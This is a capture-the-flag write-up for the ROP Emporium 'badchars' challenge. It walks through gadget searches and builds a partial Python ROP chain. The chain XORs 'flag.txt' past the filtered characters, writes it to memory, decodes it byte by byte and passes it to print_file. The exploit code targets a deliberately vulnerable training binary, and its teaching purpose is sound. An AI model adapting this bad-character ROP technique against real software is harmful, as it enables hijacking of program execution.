In this binary, we will handle a ROP chain where we can't introduce certain characters into our input otherwise the program will terminate. To handle this, we will use various gadgets to enter our input and then fix it so that it properly executes.
Finding the Attack Vector
Running the binary shows us the bad characters:
$ ./badchars
badchars by ROP Emporium
x86_64
badchars are: 'x', 'g', 'a', '.'
> ok
Thank you!
Across multiple executions, the bad chars do not change. We can verify this in the debugger and note that the string printed is hardcoded, meaning that the bad chars are not meant to change.
Combing through gdb / radare2, we can check for our goal in the binary. We notice that we have print_file in the library and print_file@plt in badchars. This will be our goal. Like write4, we need to write flag.txt into memory, then pass its address into print_file so its contents are read.
To do this, we need to gadget hunt to find our available maneuvers. We must remember we can't write x, g, a, or . in our input.
$ ROPgadget --binary badchars --only "pop|ret"
Gadgets information
============================================================
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004ee : ret
0x0000000000400293 : ret 0xb2ec
$ ropper -f badchars --search "pop|ret"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop|ret
[INFO] File: badchars
0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040069e: pop r13; pop r14; pop r15; ret;
0x00000000004006a0: pop r14; pop r15; ret;
0x00000000004006a2: pop r15; ret;
0x000000000040057b: pop rbp; mov edi, 0x601038; jmp rax;
0x000000000040069b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040069f: pop rbp; pop r14; pop r15; ret;
0x0000000000400588: pop rbp; ret;
0x00000000004006a3: pop rdi; ret;
0x00000000004006a1: pop rsi; pop r15; ret;
0x000000000040069d: pop rsp; pop r13; pop r14; pop r15; ret;
0x0000000000400293: ret 0xb2ec;
0x00000000004004ee: ret;
These are a good start. To write to memory, we will need a mov gadget that writes to a QWORD PTR from a register.
$ ROPgadget --binary badchars --only "mov|ret"
Gadgets information
============================================================
0x0000000000400635 : mov dword ptr [rbp], esp ; ret
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
0x00000000004004ee : ret
0x0000000000400293 : ret 0xb2ec
$ ropper -f badchars --search "mov|ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: mov|ret
[INFO] File: badchars
0x00000000004005e2: mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret;
0x0000000000400606: mov dword ptr [rbp + 0x48], edx; mov ebp, esp; call 0x500; mov eax, 0; pop rbp; ret;
0x0000000000400635: mov dword ptr [rbp], esp; ret;
0x0000000000400610: mov eax, 0; pop rbp; ret;
0x00000000004004dd: mov eax, dword ptr [rip + 0x200b15]; test rax, rax; je 0x4ea; call rax;
0x00000000004004dd: mov eax, dword ptr [rip + 0x200b15]; test rax, rax; je 0x4ea; call rax; add rsp, 8; ret;
0x0000000000400609: mov ebp, esp; call 0x500; mov eax, 0; pop rbp; ret;
0x00000000004005db: mov ebp, esp; call 0x560; mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret;
0x0000000000400619: mov ebp, esp; mov edi, 0x4006c4; call 0x510; nop; pop rbp; ret;
0x000000000040061b: mov edi, 0x4006c4; call 0x510; nop; pop rbp; ret;
0x000000000040057c: mov edi, 0x601038; jmp rax;
0x0000000000400634: mov qword ptr [r13], r12; ret;
0x00000000004004dc: mov rax, qword ptr [rip + 0x200b15]; test rax, rax; je 0x4ea; call rax;
0x00000000004004dc: mov rax, qword ptr [rip + 0x200b15]; test rax, rax; je 0x4ea; call rax; add rsp, 8; ret;
0x0000000000400608: mov rbp, rsp; call 0x500; mov eax, 0; pop rbp; ret;
0x00000000004005da: mov rbp, rsp; call 0x560; mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret;
0x0000000000400618: mov rbp, rsp; mov edi, 0x4006c4; call 0x510; nop; pop rbp; ret;
0x0000000000400293: ret 0xb2ec;
0x00000000004004ee: ret;
We opt for the second gadget rather than the first because we can write all 8 bytes rather than 4 at a time. We'll take note that we need a pop r12 and pop r13 gadget, which we have:
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
Now comes the kicker. We need a way to modify the data. The most common solution for this is to xor the data with a known value. This is because xor is its own inverse, meaning that xoring the data with the same value will return the original data.
Let's hunt for a xor gadget:
$ ROPgadget --binary badchars --only "xor|ret"
Gadgets information
============================================================
0x00000000004004ee : ret
0x0000000000400293 : ret 0xb2ec
0x0000000000400628 : xor byte ptr [r15], r14b ; ret
0x0000000000400629 : xor byte ptr [rdi], dh ; ret
We'll take the third one. This gadget does a byte-wise xor of the contents of r15 with r14b. r14b is the lowest byte of r14. This won't prove problematic; we already plan on using a small number to xor, so as long as it's a byte long, we're good.
Our popping gadget already helps us control r14 and r15, which is perfect.
Building the Exploit
Our exploit needs to do the following steps:
Overflow the buffer provided (which takes 40 bytes).
xor the flag with a small value to avoid the bad chars.
Align the stack with a call to ret.
Write our xor-ed copy of flag.txt into memory.
Byte by byte, xor the data back to its original form.
Pass the address of the xor-ed data into print_file.
Let's do that step by step. We'll first address our binary, library, and process:
Now, we need to xor the data. We choose 0x2 because 0x1 turns the f into a g, which is a bad character. To do this byte by byte, we can do the following:
flag = bytes([b ^ 0x2 for b in b'flag.txt']) # flag = b'dnce,vzv'
Then, we align the stack.
g_ret = 0x400589
ropChain += p64(g_ret)
Now, we need to prepare to write the data into memory. We get an address in writeable memory that doesn't appear to be used. I explain more about this in write4. I chose 0x601038, but there are lots of values to choose that work.
We need to pop the flag into r12 and the address into r13. With some forethought, we know that we can also load r14. r14 will contain the value we will use to xor the data, which was 0x2 from the previous step. We can load r15 with a junk value.
g_popR12R13R14R15 = 0x40069c # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
a_writeLoc = 0x601038 # location to store a string
v_junk = 0x4343434343434343
ropChain += p64(g_popR12R13R14R15)
ropChain += flag
ropChain += p64(a_writeLoc)
ropChain += p64(0x2)
ropChain += p64(v_junk)
Then, we need to call the method to write the data into memory.
Now, we need to xor the data back to its original form. This involves popping a byte into r15 and then calling the xor function. 0x2 is already in r14b, so we don't need to do the initialization every time. This is best accomplished with a for loop:
for i in range(8):
ropChain += p64(g_popR15)
ropChain += p64(a_writeLoc + i)
ropChain += p64(g_xor1514)
Finally, we load the address into rdi and call print_file.
